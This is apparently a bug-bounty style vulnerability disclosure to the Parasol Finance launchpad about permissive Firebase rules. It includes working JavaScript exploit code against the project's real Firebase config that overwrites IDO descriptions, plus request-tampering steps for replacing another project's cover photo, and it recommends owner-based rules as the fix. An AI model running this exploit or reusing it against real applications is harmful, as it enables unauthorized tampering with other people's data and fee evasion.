# Parasol Finance Report

## Description

Hi everyone! I'm working on personal research about Firebase in Web3 applications and I noticed that your Launchpad application [Parasol Finance](https://parasol.finance) has a common vulnerability in this type of BaaS (Back-end as a Service).

The vulnerability allows unauthenticated attackers to modify the entire information about your application, in this case, the attackers can modify the entire information about the IDO, such as: `name, description, social networks`, and so on!

This is possible due to a misconfigured rules in your Firebase application that allows any user to modify, something like this:

match /COLLECTION_ID/{document}{
    allow read, write: if true;
}

or even:

match /{document=**} {
    allow read, write: if true;
}

To confirm the existence of this vulnerability I changed the information about 2 ended IDOs (the information modified already was been set to the default):
* [Nerv Protocol](https://parasol.finance/projects/22einmx7Sy5vQM9rBBqc5hV7R3aRVFvLwTeVBAXQDGg8)
* [Secretum](https://parasol.finance/projects/B7VtAxVQkG7htipRanZ1Uxd4nQSL8LKAmxXEmqH4wvUk)

## Exploit

To exploit this vulnerability I needed to create a custom exploit code to work inside your application, and for this, I needed to get all information about your Firebase Config, located at [this file](https://parasol.finance/_next/static/chunks/pages/_app-92ea831016b5bd65.js)

For this exploitation, the Firebase apiKey wasn't needed as the application allows unauthenticated users to change the IDO data.

With this information in hands, was necessary to create a custom exploit code to get the current IDO and modify their data, the code can be found below:

import { initializeApp } from 'firebase/app';
import { getFirestore, doc as getDocRef, getDoc, updateDoc } from 'firebase/firestore';


//### Parasol Finance
const firebaseConfig = {
    apiKey: "",
    authDomain: "parasol-finance-21.firebaseapp.com",
    projectId: "parasol-finance-21",
    storageBucket: "parasol-finance-21.appspot.com",
    messagingSenderId: "795707072474",
    appId: "1:795707072474:web:c123c9dc6e35655b9eaae3"
}

const firebaseApp = initializeApp(firebaseConfig);
const firestoreObj = await getFirestore(firebaseApp);

let docRef = getDocRef(firestoreObj, 'ido-metadata/IDO_ID');

getDoc(docRef).then(async (project) => {
    let tmpProjectData = await project.data();
    console.log(tmpProjectData);
    tmpProjectData.description = 'rapt00r :P';
    await updateDoc(docRef, tmpProjectData);
})

By executing this code after changing the `IDO_ID` the exploit will change the project description to `rapt00r :P`.

## Proof of Concept

### Nerv Protocol

For this target, I don't need to use the exploit code above, was only necessary to intercept the request after submitting a new project, search for the request responsible to upload the cover photo, and change the parameters for attacking the target.

The image below illustrates the current project page:

The next image shows the request made by the application after submitting a new project:

Notice that the IDO ID will be passed via this request.

To change the current cover photo of an arbitrary project, it's necessary to get this request and change the `projects/IDO_ID/filename.jpg` to your target ID and the same name of the cover, i.e, if the target IDO has a cover photo called `myido.jpg`, it's necessary to change the `filename.jpg` to `myido.jpg` in both cases when it appears (line 1 and line 23).

The next image shows the modification of this request to change the cover photo of the `Nerv Protocol` IDO:

As result, the cover photo was been modified as illustrated in the image below:

### Secretum

For this target, I changed only the `description` by using the exploit code above.

The image below illustrates the current page before the execution of the exploit:

The next image shows the page of the IDO after exploitation, which had the `description` changed:

## Impact

Attackers can modify the entire information about the IDOs and even create new IDOs without paying the necessary Fee.

## Recomendations

It's recommended to restrict the modification of the data with Rules inside Firebase, which only allows authenticated owners of the project to modify it.

A good rule to check if an authenticated user is the owner of the document can be found below:

// Check if the user is authenticated
function isAuth() {
    return request.auth != null;
}

// Check if the user is the owner of the document (it's necessary to create a new field called owner inside the IDO)
function userIsOwner() {
    return request.auth.uid == resource.data.owner;
}

// Apply the rule when a user can update or delet only if it's the authenticated owner and allows anyone to read the document.
match /ido-metadata/{document} {
    allow read: if true;
    allow update: if isAuth() && userIsOwner();
    allow delete: if isAuth() && userIsOwner();
}

## References
* [Firebase Security Rules - Google](https://firebase.google.com/docs/rules)